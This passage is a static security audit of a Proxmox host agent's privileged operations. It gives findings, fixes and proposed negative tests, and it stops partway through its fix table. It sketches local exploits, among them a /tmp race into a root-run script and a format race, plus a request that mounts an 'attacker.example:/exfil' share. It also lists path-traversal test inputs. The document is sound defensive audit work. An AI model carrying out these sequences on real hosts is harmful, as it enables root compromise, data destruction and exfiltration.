# AUDIT — host-root + local-API blast radius (the axes the pool campaign did not cover) **Class:** Audit (static source trace + non-destructive verification). **Output is a findings doc — no agent code was written, no version bumped, no branch opened.** **Subject:** `felhom-agent` @ `main` = **`cc93dae` / v0.60.0** — read-only. **Prompt baseline note:** the prompt was authored against `55ade9e2` / v0.59.0; `main` had already advanced to **v0.60.0** (`b9356d6` + `cc93dae`) when this audit ran. **That is material to Strand A:** v0.60.0 is the commit that FIXED campaign-F1 (proof-of-launch destroy gating, F1a/b/c). This audit therefore *verifies the F1 fix* and hunts F1-siblings, rather than re-reporting F1 as open. Landmark line numbers in the prompt were reconfirmed against v0.60.0 source; where they shifted, the cited `file:line` is the v0.60.0 value. **Host:** felhom-pve (`demo-felhom`, 192.168.0.162) — **not touched** (see §5; the audit was 100% static, no live probe was needed to reach a verdict). **Method:** static source trace of the agent, cross-referenced against the stated trust boundaries in `documentation/architecture/{01,03,04}` and the sudoers/wrapper configs. Five strands (A–E), each independently traced, then the HIGH/MED-candidate findings re-verified by a second read of the cited source. > **This audit does NOT re-cover the Proxmox-API-token axis** — the privilege map, pool containment, > out-of-pool 403s, and ListLXC pool-blindness (B1–B4) are shipped and validated in > **`CAMPAIGN-pool-effects-2026-07-01.md`** + **`SPIKE-pool-scoped-acl-2026-07-01.md`**. Those are cited, not > repeated. Campaign findings **F1–F6** are treated as known; this audit *extends* F1/F5 and adds new, > distinct findings on the other four axes. ## Headline **No new HIGH or MED findings.** The four un-audited axes are in good shape: - **Strand A (provenance):** the v0.60.0 F1 fix is **complete and airtight** for all four `DestroyLXC` paths. One F1-sibling remains (stale-lock recovery, LOW) — contained by the pool ACL today, re-arms only under a future broad/root token. - **Strand B (sudoers ↔ fine-gate):** the sudoers header's global claim ("the agent fine-validates every value before exec") **holds for all 10 aliases as wired**. Residuals are host-local defense-in-depth (fixed-name `/tmp` staging, LOW; un-self-gated bind helpers, INFO). - **Strand C (local-API within-scope):** identity self-scoping is structurally sound (the token's vmid is the only vmid ever used for an op). Storage-op *targets* are property-gated (role / data-bearing / namespace / regex), not ownership-bound — three INFO residuals (controller-swap downgrade; attacker-NAS mount; advisory dependent-guest scan = F5). - **Strand D (mkfs / claim classifier):** fail-safe on every gather **error** path; the pvs/zpool trichotomy is correct. Three real weaknesses (all INFO/LOW): the guarded wrapper is an asymmetric subset of the classifier; `classifyClaim` reads an empty-but-successful lsblk as unclaimed; the blank-format path lacks the anti-retarget re-resolution AGENT-001 added to the data-bearing branch. - **Strand E (signed vs self-serve):** the boundary holds — signed executors are unreachable from the local API, nonces are durable + single-use + burned-before-execute, the operator key and escrow code are kept off the host. Two INFO comment/redundancy notes. **Nothing hard-blocks the shared-box colleague trial** (every residual is contained by the pool-scoped token the trial ships with). The one item to close **before any broad/root-token deployment** is the stand-alone F1-sibling A1 (stale-lock reaper). --- ## Strand A — Provenance-gating of destructive host ops (generalizes campaign-F1) **Verdict:** the v0.60.0 fix is complete for the four LXC-destroy paths. The reversibility gate remains a provenance *pass-through* (by design). One F1-sibling (stale-lock recovery) is pool-blind and re-arms under a broad token. | Destructive op | Call site (file:line) | Gated on "this txn created/owns the target"? | Backstop if compromised | Verdict | |---|---|---|---|---| | `DestroyLXC` — bring-up rollback | `internal/reconcile/bringup.go:369` (`rollbackBringUp`; defer `bringup.go:210-219`) | **YES** — `launched` set only after `RestoreLXC` returns a UPID (`bringup.go:234`); `!launched` defer closes `OpFailed` w/o destroy (`:214-216`) | pool ACL + gate `Authorize` (`:363`) | **safe (F1a fixed)** | | `DestroyLXC` — restore-test teardown | `internal/reconcile/restoretest.go:412` (`teardownScratch`; defer `:186-192`) | **YES** — `launched` after UPID (`:243`); `!launched` → no destroy (`:187-191`) | pool ACL + gate (`:406`) | **safe (F1b fixed)** | | `DestroyLXC` — recover leaked scratch | `internal/reconcile/recover.go:144` (`recoverScratch`) | **YES** — `entry.UPID==""` abandon check hoisted **before** the Scratch dispatch (`recover.go:46-52` → `:59`) | pool ACL + `ListLXC` existence check + gate (`:136`) | **safe (F1c fixed)** | | `DestroyLXC` — recover half-built bring-up | `internal/reconcile/recover.go:203` (`recoverBringUp`) | **YES** — same `UPID==""`-first check (`:46-52` → `:69`) | pool ACL + existence check + gate (`:195`) | **safe (F1c fixed)** | | `Stop` (reconcile `ActionStop`) | `internal/reconcile/engine.go:173` | N/A — benign/reversible class (`ClassStop`, `classify.go`); planner unfed (EmptyProvider) | reversible (Start) | safe | | `Rollback` (snapshot, self-serve) | `internal/localapi/server.go:482` | self-scoped: `scopedFromBody` pins vmid=token (`:474`); not gate-routed | per-guest token scope | safe (self-scoped) | | `pct unlock` + `DeleteVzdumpSnapshot` + `Start` (stale-lock recovery) | `internal/localapi/stalelock.go:200`/`:208`/`:220`; reaper scans **all** guests via `ListLXC` (`:159-161`) | **NO** — acts on pre-existing guests found by a **pool-blind** scan; guard = lock-allowlist (`:27-30`) + no-vzdump-in-flight (`:87-97`), not ownership | **pool-scoped ACL only** | **F1-sibling (A1, LOW)** | | `Format`/mkfs (signed wipe) | `internal/signedjobs/wipe.go:106` | YES (resource) — durable-id resolve+re-derive+re-inspect (`wipe.go:74-99`) + `deviceUnclaimed` (`hostops.go:449`) + guarded wrapper (`:456`) | operator sig + unclaimed guard + wrapper | safe | | `Format`/mkfs (customer-confirmed / blank, local-API) | `internal/localapi/disks.go:727` (confirmed) / `:681` (blank) → `formatjob.go:116` | confirmed: durable-id-bound + re-resolve (`disks.go:697-714`); **blank: NOT re-resolved** — see Strand D (D3) | unclaimed guard + wrapper + role gate | safe (blank path = D3 caveat) | | `Vzdump` + `--prune-backups` | `internal/backup/runner.go:133` | vmid+storage-scoped, keep-last=N, local only, never PBS | self-vmid scope | safe | | `Unmount` (systemctl stop/disable `.mount`) | `internal/storage/hostops.go:331-339` (eject/decommission callers) | role-gated to user-data (`disks.go:404-408`), self-scoped; reversible | role gate + self-scope | safe | | `DetachBind` (`pct set --delete mpN`) | `internal/localapi/guestbind.go:88` (from `disks.go:432`) | self-scoped vmid + user-data role gate; data stays on drive | role gate + self-scope | safe | | `pct reboot` | `internal/localapi/guestbind.go:101` (from `disks.go:524`) | self-scoped (`withGuest`+`scopedFromBody`) | token scope | safe (self-DoS only) | | `SetDecommissioned` (signed decommission) | `internal/signedjobs/decommission.go:75` | metadata-only intent write; no destroy/detach/format | operator sig + durable-id binding | safe (not destructive) | | `rsync --delete` | — none in `internal/` (only a doc-comment in `hub/dr_recipe.go`) | N/A | N/A | **confirmed absent** | **F1 fix — airtight.** `launched`/`entry.UPID` derives destroy authorization from a real `RestoreLXC` UPID rather than from vmid-existence + the ACL. A synchronous restore refusal ("already exists", no UPID) provably cannot reach a `DestroyLXC`. The accepted residual (a crash in the one-statement window between obtaining the UPID at `bringup.go:234`/`restoretest.go:243` and journaling it at `:235`/`:244`) leaks a half-built guest Recover won't reap — by design, and strictly preferable to destroying an innocent guest (CHANGELOG v0.60.0 "Accepted residual"). **A2 (INFO, architectural) — the gate does not verify provenance; it consumes it.** `Gate.Authorize` genuinely *blocks* (a Destructive disposition with no signed op → `pending_signature`, `gate.go:146-150`), but `Classify` trusts whatever `Provenance` the intent carries (`gate.go:135`), and that provenance is hardcoded by the call-site constructors `IntentForRollbackDestroy` (`SameTxnCreated:true`) / `IntentForScratchDestroy` (`AgentTaggedScratch:true`). There is no cross-check against the journal/UPID inside the gate. **This is exactly why campaign B1.3 saw a rollback-destroy classed benign while the guest pre-existed** — the pre-v0.60.0 call site asserted `SameTxnCreated:true` unconditionally and the gate faithfully honored it. v0.60.0 fixes the **call sites**, not the gate; the whole guarantee now lives in the `launched`/UPID discipline. Defensible (provenance is a caller-supplied, journal-derived fact the gate can't independently reconstruct), but it means the reversibility gate is effectively decorative for these self-authored teardowns — a future mislabel at a constructor would sail through. Worth a comment/guard, not a blocker. Duplicate-adjacent to F1's root cause. **A1 (LOW, F1-sibling; extends F1, relates F6) — stale-lock recovery reaps by pool-blind scan, not ownership.** `RecoverStaleLockedGuests` (`stalelock.go:58`) iterates **every** guest from `ListLXC` (`:159-161`) at startup and, for any guest whose lock is in `{backup, snapshot-delete}` (`:27-30`) with no in-flight vzdump (`:87-97`), runs `pct unlock` (`:200`), deletes the vzdump snapshot (`:208`), and starts the guest if `onboot` (`:220`). Ownership is *assumed*, not proven. Contained today because the pool-scoped token makes `ListLXC` pool-only — precisely the containment F6 relied on. *Exploit sketch (exploit fully sequenced; precondition — a broad/root token — does not exist today, so verdict is LOW not HIGH):* shared host, agent redeployed with a broad token (F1's "re-arms it" precondition) → a co-tenant's own backup tool leaves non-felhom guest 5000 with `lock: snapshot-delete` + a vzdump snapshot, in the window before its vzdump task is visible (so `BackupRunning` returns false, `:171-184`) → agent restart → reaper unlocks 5000, deletes its snapshot, force-starts it → the neighbor's in-progress backup is corrupted/aborted and its guest force-started. No felhom-customer data destroyed (hence LOW, not HIGH like F1). **Fix before any broad-token deployment:** restrict the scan to felhom-pool membership (or a fenced-root `pct list` cross-checked against the pool). **Negative tests.** The F1 red-proof companions already exist (`TestRunBringUp_NoLaunchNoDestroy`, `TestRunRestoreTest_RestoreNoLaunchNoTeardown`, `TestRecover_{BringUp,Scratch}NoUPIDAbandoned`). Missing: `TestStaleLock_ForeignGuestNotReaped` — seed a non-pool guest with a stale lock + snapshot + no running vzdump, wire a broad-token fake, assert `Unlock`/`DeleteVzdumpSnapshot`/`Start` are **not** invoked. --- ## Strand B — OS-root sudoers surface ↔ in-agent fine-gate coverage **Verdict:** the sudoers header's global claim holds for every one of the 10 aliases as currently wired. Every wildcard value reaching a `sudo -n` arg vector is (a) run through a validator before the vector is built, (b) an `int`-typed vmid, or (c) a fixed literal. Exec is always an arg vector (`privileged.go:61-71`), never a shell string, so a validated value cannot inject. Residuals are host-local defense-in-depth, none reachable within the in-guest/cross-customer (F1–F6) threat model. Representative coverage (full per-grant trace held in the working notes; every grant confirmed gated): | Alias / grant (wildcard) | Constructing call site (file:line) | Fine-gate (file:line) | Un-validated value reachable? | |---|---|---|---| | MOUNT `systemctl stop/disable -- *.mount` | `storage/hostops.go:336,339` (`Unmount`) | `UnitNameForMount(where)` → `ValidateMountPath` (`hostops.go:332`, `validate.go:156,83`) | No | | DISK `smartctl … /dev/sd[a-z]*` | `storage/hostops.go:351` | `ValidateSMARTDevice` (`hostops.go:348`, `validate.go:112`) | No | | DISK `lvs … -- *` | `storage/hostops.go:371` | `ValidateLVMName` ×2 (`hostops.go:362,366`) | No | | PROVISION `chown -R 100000:100000 …/guests/*` | `provision/backhalf.go:145` | path = `join(stateDir,"guests",itoa(vmid),"bootstrap")`, vmid `int` (`:134`) | No | | FORMAT `felhom-mkfs-guarded /dev/* *` | `storage/hostops.go:456` | `ValidateBlockDevice`+`ValidateFSType`+`deviceUnclaimed` (`:439,442,449`) + wrapper re-check | No | | DNSMASQ `install /tmp/felhom-resolver-*.conf …` | `lanresolver/lanresolver.go:266` | src = `os.CreateTemp` random (`:255`); dest via `sanitize(customerID)` (`:72`) | No | | GUESTHOOK `install -- /tmp/felhom-guest-hook.sh …/snippets/…` | `guesthook/install.go:45` | fixed dest; **fixed /tmp name** (`:40`) — see B1 | No value; TOCTOU | | GUESTHOOK `pct set [0-9]* --delete mp[0-9]*` | `localapi/guestbind.go:88` | vmid `int`; slot `mpN` from `guestSlotForPath` | No | | INTERMEDIARY `mount --bind /mnt/*/felhom-data /mnt/felhom-drives/*` | `localapi/intermediary.go:222` | both `*` derived from one `validGuestMountPath`-checked `where` (`disks.go:534`) | No (caller-gated; B3) | | INTERMEDIARY `install -- /tmp/felhom-shared-parent.sh …` | `localapi/intermediary.go:154,162` | fixed dest; **fixed /tmp name** (`:149,157`) — see B1 | No value; TOCTOU | | CONTROLLERSWAP `docker image inspect *` | `localapi/controllerswap.go:139` | `ValidControllerImage` (`:324,38`, regex `:35`) | No | | STALELOCK `pct unlock [0-9]*` | `localapi/stalelock.go:200` | vmid `int` from API `Guests()` | No (but see Strand A A1 for the *scan*, not the arg) | | NETMOUNT `rm -f /etc/systemd/system/mnt-felhom*` | `storage/netmount.go:416,419` | `reShareName` (`:399`); escaped unit always begins `mnt-felhom` | No | **B1 (LOW — fixed-name `/tmp` staging TOCTOU; new, host-local).** `guesthook/install.go:40` (`/tmp/felhom-guest-hook.sh`) and `intermediary.go:149,157` (`/tmp/felhom-shared-parent.sh` + `.service`) stage root-executed scripts through **fixed, predictable** `/tmp` names via `os.WriteFile` (O_CREATE, no O_EXCL, follows symlinks), then `sudo install` them to a root-executed location (a PVE hookscript run at guest pre-start; a boot-time `ExecStart` script). `lanresolver.go:255` does this correctly with `os.CreateTemp` (random name) — the two above do not. *Exploit sketch (sequenced; precondition = a second non-root local account on the Proxmox host, which the standard Felhom host — root + `felhom-agent` only — does not provision, so LOW):* a local non-root user pre-creates `/tmp/felhom-guest-hook.sh` (owning it) → the agent's `os.WriteFile` opens/truncates the attacker-owned file and writes the snippet → the attacker rewrites the content between the agent's close and root's `install` → root copies attacker content into `/var/lib/vz/snippets/felhom-guest-hook.sh`, executed as **root** at the next guest pre-start. The sticky bit on `/tmp` blocks a *different* user from replacing the agent's file after creation, but not pre-creation of the predictable name. **Outside the F1–F6 threat model** (customer code runs in an unprivileged LXC and cannot see the host `/tmp`); relevant only if a colleague has a non-root shell on a shared box. **Fix:** mirror lanresolver's `os.CreateTemp`. **B2 (INFO — bind helpers don't self-reject `..`).** `GuestBinder.AttachDrive`/`DetachDrive` (`intermediary.go:187,347`) do not self-validate `where` for traversal — `DriveNameFromRaw` (`:80`) rejects `/`, space, tab but **not** `..`. Safe today only because both callers gate (`validGuestMountPath` `disks.go:534` for attach; `roleForMountPath` exact-match `disks.go:353,404` for detach). A future third caller that skipped the gate would regress it. Defense-in-depth gap. **B3 (INFO — coarser-than-needed wildcards).** The INTERMEDIARY bind's two `*` are grammatically independent in sudoers though the code always derives both from one validated `where`; CONTROLLERSWAP's `docker image inspect *` is broader than the single `controllerImageRe`-validated ref the agent ever sends. Code-tied today; could be pinned tighter (least-privilege). **B4 (INFO — `privileged.go` forms absent from sudoers, fail-closed).** `internal/proxmox/privileged.go` retains `CreateGoldenLXC`→`pct create` (`:136`), `MountUSBByUUID`→`mount UUID=…` (`:148,151`), `Sensors`→`sensors -j` (`:181`). None appear in the sudoers file, so under the non-root `RunnerSudo` model these `sudo -n` calls are **denied → fail-closed**. The manifest comment (`capability/manifest.go:29-37`) explicitly excludes them as not-required. Capability/documentation gap, no escalation. **B5 (INFO — dead grant).** `systemctl reload dnsmasq` (sudoers `:61`, manifest `dnsmasq-reload`) is never called — the code deliberately uses `restart` (`lanresolver.go:242`). Harmless; drop it. **NoopHostOps (Q4) — always fail-safe.** Every degrade path returns an explicit error or a safe sentinel (`SMART`→UNKNOWN; `InspectDevice`→`Probed=false` ⇒ `DataBearing()=true` ⇒ a later format is refused). No silent destructive success anywhere (`hostops.go:540-557`). Surfaces with no Noop fallback fail-closed via a non-zero `sudo -n` exit. **Manifest ⊆ sudoers (Q5).** `TestManifestCoveredBySudoers` (`manifest_test.go:122`, with dropped-grant red-proofs) proves the *presence* direction. Missing: the adversarial *unreachability* direction for the non-`SudoHostOps` wildcard constructors. **Negative test (names the gap).** `TestWildcardGrantsUnreachableWithUnvalidatedInput` — a table over every sudoers wildcard, each row driving the *public* entry point (e.g. `handleDiskGuestAttach` with `where="/mnt/../etc"`, `POST /controller/swap` with `image="evil"`) against a recording runner, asserting (1) refusal and (2) no arg vector matching that alias's pattern. Today only `SudoHostOps` has an equivalent (`TestHostOps_RejectsHostileArgsBeforeExec`, `validate_test.go:130`); `GuestBinder`, `ControllerSwapper`, `lanresolver`, `netmount`, `stalelock` do not. This test would convert the header's global claim from asserted to proven and would immediately flag B2 if a handler gate were removed. --- ## Strand C — Local-API within-scope host blast radius **Verdict:** identity self-scoping is structurally sound — the token's vmid is the only vmid ever used for a proxmox op (`server.go:365`); every body/query vmid is a pure consistency check (`server.go:357-364`, `scopedFromBody` `:381-389`) that 403s on mismatch and is never substituted in. **No handler re-reads `req.VMID` and uses it for the op** (traced: `handleSnapshot` `:450`, `handleRollback` `:482`, `handleBackup` `:521-545`, `handleGuestReboot` `disks.go:524`, `handleControllerSwap` `controllerswap.go:355`). The within-scope surface is wide because storage-op **targets** (`device`, `where`, `server:export`, `image`) are caller-supplied and gated by *properties* (role / data-bearing / namespace / regex), not ownership-bound to the guest — acceptable on a single-tenant box. | Endpoint (route → handler file:line) | Worst host effect for OWN guest | Gate beyond self-scope | Residual | |---|---|---|---| | `POST /disks/format` (`server.go:282` → `disks.go:650`) | mkfs a blank device, or a customer-confirmed user-data device | agent device-inspection not caller claim (`disks.go:672`); role tier (`:702`); durable-id-bound confirm (`:714`); **`deviceUnclaimed`+`MkfsGuarded`** (`hostops.go:449,456`) | system/backup → operator-sig only; **cannot reach raw mkfs** (confirmed chain); blank path = D3 | | `POST /disks/eject` (`server.go:280` → `disks.go:332`) | detach a user-data drive's bind (data preserved) | user-data role gate, fail-safe→system (`disks.go:353-358`) | dependent-guest scan **advisory only** (`:359,375`) = **F5** | | `POST /disks/decommission` (`server.go:281` → `disks.go:386`) | logically retire + detach a user-data drive (no mkfs, `disks.go:442`) | same user-data role gate (`:404-409`) | same advisory scan (F5); self-DoS of own drive | | `POST /controller/swap` (`server.go:296` → `controllerswap.go:312`) | restart bootstrap onto a chosen felhom-controller semver | **`controllerImageRe` host+repo pinned** (`:35,324`); `imagePresent` (`:244`) | **version downgrade (C1)** | | `POST /netstorage/add` (`server.go:291` → `netstorage.go:53`) | root-mount an arbitrary NAS host-side under `/mnt/felhom-drives/*`, propagated into guest | namespace role gate (`netstorage.go:68-74`); `ValidateNetworkMountSpec` (`netmount.go:125`); creds path agent-set (`netstorage.go:88-94`) | **attacker-NAS mount (C2)** | | `POST /guest/reboot` (`server.go:287` → `disks.go:502`) | reboot own guest (`disks.go:524`) | vmid = token | self-DoS only; **no host-reboot primitive exists** | | `POST /snapshot` `/rollback` `/backup` `/disks/assign` `/disks/guest-attach` `/netstorage/remove` | own-guest snapshot/rollback/backup/mount/bind churn | charset/namespace validators; vmid = token | LOW/INFO self-inflicted | **C1 (INFO, suspected — controller-swap version downgrade; new).** `controllerImageRe` (`^gitea\.dooplex\.hu/admin/felhom-controller:[0-9]+\.[0-9]+\.[0-9]+$`, `controllerswap.go:35`) is anchored and **pins the registry host + repo** — no look-alike-registry, digest, or metacharacter bypass exists (I reconfirmed the regex verbatim). But it accepts **any** semver; "latest-only" is enforced *only* caller-side (comment `:24-25`), not by the agent. A compromised controller could `docker pull …:` then `POST /controller/swap {"image":"…:0.40.0"}` → the agent rewrites `/etc/felhom-controller-image` and restarts the bootstrap unit (`:143-157,252-261`), running the downgraded image as the controller. It cannot run a *non-felhom* image, and the compromised controller already owns the guest's docker socket, so this is a downgrade-to-vulnerable within its own guest, **not** a host escalation. INFO. *Fix option:* an agent-side minimum-version floor. **C2 (INFO, suspected — attacker-NAS host-side mount; new).** In `ValidateNetworkMountSpec`, `Server` is constrained only by `reNetServer = ^[A-Za-z0-9._:-]+$` (`netmount.go:100,134`) — any hostname/IP with no metacharacters; `Export` is a safe path/segment. The mountpoint is namespace-locked under `/mnt/felhom-drives` (`netmount.go:106-108`, re-checked `netstorage.go:68-74` and `netmount.go:344-346`), and the `credentials=` path is **agent-set, not caller-controllable** (`netstorage.go:87-95` — there is no caller `CredsRef` field, so the "creds pointing at a host file" attack is *closed*). What's free is the `server`/`export`: `POST /netstorage/add {"protocol":"nfs","server":"attacker.example","export":"/exfil",…}` → the agent installs a root-triggered `.mount`/`.automount` for `attacker.example:/exfil` propagated into the guest. Worst case: (a) an attacker-controlled filesystem visible to the guest's media apps (exfil/poison target — only marginally novel since the guest already has network egress), and (b) the **host kernel NFS/CIFS client now talks to a hostile server** as root — a kernel-client attack surface. INFO. *Fix option:* an operator/allowlist gate on NAS server addresses for the shared-box case. **C3 = campaign F5 (duplicate, not new).** `dependentGuests` (`disks.go:1026-1059`), called by eject (`:359`) and decommission (`:410`), only **returns** dependent VMIDs for a UI warning (`:375,443`) — it never blocks the detach. Harmless single-tenant; the shared-box residual is already tracked as F5. **Negative tests.** (1) per mutating handler: body/query `vmid=token+1` → 403 with zero downstream call, and matching-vmid → mock called with the *token's* vmid; an AST guard that no handler references `req.VMID` after `scopedFromBody`. (2) `ValidControllerImage` reject-corpus (look-alike host, digest, `…:latest`, second tag) + a **downgrade** assertion documenting `…:0.1.0` is currently accepted. (3) `ValidateNetworkMountSpec` rejects metachar `server`, `..` `export`, escaping `where`; assert no caller-settable `CredsRef`. (4) `handleDiskFormat` on a claimed device drives `SudoHostOps.Format` to the `deviceUnclaimed` refusal with zero `MkfsGuarded` exec. --- ## Strand D — mkfs / claim.go classifier robustness **Verdict:** `classifyClaim` (`claim.go:61-89`) is fail-safe on **every gather ERROR path** (`gatherErr`, `!wholeDiskOK`, `isSystem`, `readonly` all refuse first, `:62-73`) and the pvs/zpool present/absent/error trichotomy is correct (absent ⇒ lsblk FSTYPE backstop; present-but-erroring ⇒ fail-safe claimed, `:145,163`). The symlink question is clean: no by-uuid symlink reaches mkfs — every device string is either `ValidateBlockDevice`-constrained to a raw node or an `EvalSymlinks`-canonical node, and the wrapper's `-L` reject (`felhom-mkfs-guarded.sh:24`) is a third backstop. Three real weaknesses: **Gate side-by-side (what each catches, confirmed by reading both fully):** | Claim class | `classifyClaim` (file:line) | wrapper `felhom-mkfs-guarded.sh` | Symmetric? | |---|---|---|---| | gather error / undeterminable topology | refuse (`claim.go:62-67`) | n/a (no notion of agent reads) | agent-only | | OS/system disk (`/`,`/boot`,`/boot/efi`) | `isSystem` fail-safe (`claim.go:68-70`) | YES — `/proc/mounts` whole-disk match (`:31-39`) | **both** | | read-only device (`/sys/.../ro`) | refuse (`claim.go:71-73`) | **NO** | agent-only | | LVM physical volume | pvs + lsblk `LVM2_member` (`claim.go:74-76,80-82`) | YES *iff* `command -v pvs` (PATH, not abs) succeeds (`:42-49`) | partial | | ZFS pool member | zpool + lsblk `zfs_member` (`claim.go:77-82`) | **NO** | agent-only | | mdraid / LUKS / swap member | lsblk FSTYPE (`claim.go:80-82`, `memberFSTypes`) | **NO** | agent-only | | mounted outside `/mnt/felhom-drives` | node check (`claim.go:84-86`) | YES — lsblk MOUNTPOINT (`:53-59`) | **both** | | symlink / by-uuid passed to mkfs | `ValidateBlockDevice` (`validate.go:122`) | YES — `-L`/`-b`/`..` (`:21-24`) | **both** | **D1 (LOW — the guarded wrapper is an asymmetric subset; new, defense-in-depth).** The wrapper — whose entire purpose is to stop a *buggy/bypassed agent* (`.sh:5-9`) — re-checks only system-disk, LVM-PV (and only if `command -v pvs` resolves on PATH), and foreign-mount. If `classifyClaim` were bypassed, the wrapper would happily `mkfs` a ZFS vdev, an mdraid member, a LUKS container, an active-swap disk, or a read-only disk. The primary guard covers all of these; the second gate does not. I independently reconfirmed this against the wrapper source. *Fix:* add zfs_member/mdraid/LUKS/swap FSTYPE + `/sys` ro re-checks to the wrapper, and use an absolute `pvs` path (not `command -v`). **D2 (INFO — `classifyClaim` reads an empty-but-successful lsblk as unclaimed; new, fail-safe hole).** A successful `lsblk` returning `{"blockdevices":[]}` yields zero nodes; the member/mount loop (`claim.go:80-88`) is skipped and `classifyClaim` returns `true,"unclaimed"`. There is **no `len(nodes)==0` guard and no assertion the target whole-disk appears among the nodes** (confirmed by reading `:80-89`). Fail-safety here rests on the untested assumption that real `lsblk` always *errors* (non-zero exit) on a bad device rather than emitting empty success — a gap in the "undeterminable ⇒ claimed" invariant. Pure-fn repro: `classifyClaim(claimFacts{device:"/dev/sdd", wholeDisk:"/dev/sdd", wholeDiskOK:true, nodes:nil})` → `(true,"unclaimed")`. *Fix:* refuse when `nodes` is empty or the target whole-disk is absent from the tree. **D3 (INFO, suspected — blank-format path has no anti-retarget re-resolution; new, sharpest).** `handleDiskFormat` inspects `req.Device`; on `!probe.DataBearing()` it calls `startFormatDetached(req.Device, "", fstype)` → `Format(req.Device)` on the **mutable `/dev` path** (`disks.go:672-691`) — it does **not** re-resolve a durable id. AGENT-001 (v0.30.0) closed exactly this TOCTOU on the *data-bearing* branch (`wipe_reresolve.go`) but left the blank branch on the raw path. `Format` itself has no independent `DataBearing` gate — it only calls `deviceUnclaimed` (confirmed `hostops.go:438-461`), and its own comment (`:447`) asserts "the caller re-resolves the durable-id first" — **a precondition the blank path violates.** *Exploit sketch (suspected — needs a sub-second `/dev` reassignment):* a USB re-enumeration reassigns `/dev/sdX` between `InspectDevice` (`disks.go:672`) and the mkfs; if the disk now at that node is a data-bearing-but-*unclaimed* filesystem (a bare ext4/xfs/ntfs with real data, unmounted, no LVM/ZFS/RAID/LUKS — which `classifyClaim` passes because those FSTYPEs are not in `memberFSTypes` and it's not mounted, and the wrapper passes because it's not system/PV/mounted), it is formatted with **neither** the DataBearing customer-confirm **nor** any durable-id binding. Same class AGENT-001 closed, left open on the benign branch under the "a blank device has nothing to destroy" assumption that breaks under re-enumeration. *Fix:* give the blank branch the same durable-id re-derive as the confirmed branch (`disks.go:714`). **Note (by design, not a hole):** an unmounted ext4/ntfs-with-data disk *is* "unclaimed" per `classifyClaim` (test asserts this) — acceptable **only because** every production caller enforces `DataBearing()` above `Format` (`disks.go:677` blank-gate, `wipe.go:95`, `wipe_reresolve.go:53`). D3 is the one place a race defeats that reliance. **Negative tests.** `TestClassifyClaim_EmptyNodesRefused` (D2), `TestClassifyClaim_TargetAbsentFromTree`, `TestGuardedWrapper_RefusesZfsMdraidLuksSwap` + `TestGuardedWrapper_PvsNotOnPath` (D1), `TestFormatBlankPath_AntiRetarget` (D3). --- ## Strand E — signed-job vs self-serve destructive boundary **Verdict:** the boundary holds. The two operator-signed destructive executors (`WipeExecutor`, `DecommissionExecutor`) are constructed only in `cmd/felhom-agent/main.go:522-528` and handed solely to `NewRunner` (driven by the hub jobs queue) — **there is no local-API route to either.** The locked authz pipeline (namespace → key-material allow-list → crypto over raw bytes → host target → time window → durable single-use nonce) plus gate role-scoping + action binding fronts every signed op. | Destructive op | Signed-only? (file:line) | Self-serve reachable w/o sig? | Nonce replay-safe? (file:line) | Verdict | |---|---|---|---|---| | Wipe (mkfs) system/backup device | YES — `gate.go:227-229` → `Authorize` → `pending_signature` (`:146-150`); role is agent's, `Confirmed` ignored | NO | YES — burned last in `Verify` (`verifier.go:157-160`), fsync'd (`noncestore.go:117-135`) | SOUND | | Wipe (mkfs) user-data device | NO — customer-confirmable by design (`gate.go:210-225`), durable-id-bound | YES, but only user-data role + confirm bound to agent-re-resolved id (`gate.go:216-222`) | N/A (durable-id binding) | SOUND (intended tier) | | `storage_wipe` signed job | YES — only in `ExecutorChain` off hub queue | NO route | YES — burned pre-execute (`runner.go:145-166`) | SOUND | | decommission (protected drive) | YES for system/backup (signed) | NO for system/backup (role 403 `disks.go:404-409`); user-data self-serve retire is non-destructive/reversible | YES (signed path) | SOUND (see E1) | | guest_destroy / restore_overwrite / key_rotation | YES — Destructive class, role-scoped (`gate.go:254-259`) | NO route | YES | SOUND | **Zero-knowledge posture confirmed.** The agent stores **public keys only** (`config.go:359-371` → `AllowedSigner{PublicKey}` `verifier.go:35-53`); signing happens off-host in `felhom-opsign` via `ssh-keygen -Y sign` (`opsign/main.go:157`); the escrow recovery code is taken by-hand from the customer, unwrapped only in a 0700 tempdir that is always `RemoveAll`'d, never logged (`escrow/consume.go:23-79`). **Signature binds op+target:** the canonical blob covers `params` (incl. `durable_id`) and `Verify` authenticates over the raw received bytes (`verifier.go:123-134`), so a signature for wiping id X cannot verify for Y; the `WipeExecutor` additionally re-resolves + re-derives + re-inspects before mkfs (`wipe.go:74-99`). **E1 (INFO — comment drift).** `decommission.go:31-35` claims the `IntentDecommissioned` state is reachable "ONLY via a gate-verified operator signature," but `handleDiskDecommission` reaches the same `SetDecommissioned` self-serve (`disks.go:414`). Not an escalation (self-serve is user-data-only, non-destructive, reversible); comment correction only. **E2 (INFO — redundant check).** For the one-shot-job path, `bindsToAction` (`gate.go:265-276`) compares the verified op against an Intent built from the *same* decoded blob (`runner.go:125-133`) — its guest/op/params checks are tautological; the real anti-retarget control is the signature covering `params` + the executor's durable-id re-resolution. Worth noting so a future refactor doesn't mistake `bindsToAction` for the one-shot binding control. **Negative tests.** Replayed nonce → `ErrReplay` (incl. after restart); mutated-`params` blob → `ErrBadSignature`; `POST /disks/format {confirmed:true}` on a system/backup data-bearing device → 403 `PendingOp`, no mkfs; `POST /disks/decommission` on system/backup → 403; unsigned/no-verifier destructive job → `pending_signature`; `guest_destroy` signed with the cold recovery key → `ReasonRoleDenied`. --- ## Prioritized fix list Ranked by real, exploit-backed severity. Per the audit discipline, "suspected — no exploit constructed" caps at INFO; findings whose exploit *is* fully sequenced but whose precondition does not exist today are LOW. | # | Sev | Finding | Recommended fix | Relation to campaign F1–F6 | Blocks shared-box trial? | |---|-----|---------|-----------------|----------------------------|--------------------------| | **A1** | **LOW** | Stale-lock recovery (`stalelock.go:58`) reaps guests by a **pool-blind `ListLXC` scan**, not ownership — `pct unlock`+snapshot-delete+start a foreign guest under a broad token. Contained by the pool ACL today. | Restrict the scan to felhom-pool membership (or fenced-root `pct list` cross-checked against the pool). | **F1-sibling** (extends F1's "broad-token re-arms it"; relates F6) | **N (contained)** — but **fix before any broad/root-token deployment** | | **B1** | **LOW** | Fixed-name `/tmp` staging of root-executed scripts (`guesthook/install.go:40`, `intermediary.go:149,157`) — local TOCTOU into a root-run hookscript / boot script. | Use `os.CreateTemp` (as `lanresolver.go:255` already does). | new (host-local; outside F1–F6) | **N** (needs a 2nd non-root host account, which the platform doesn't provision) | | **D1** | **LOW** | The guarded mkfs wrapper 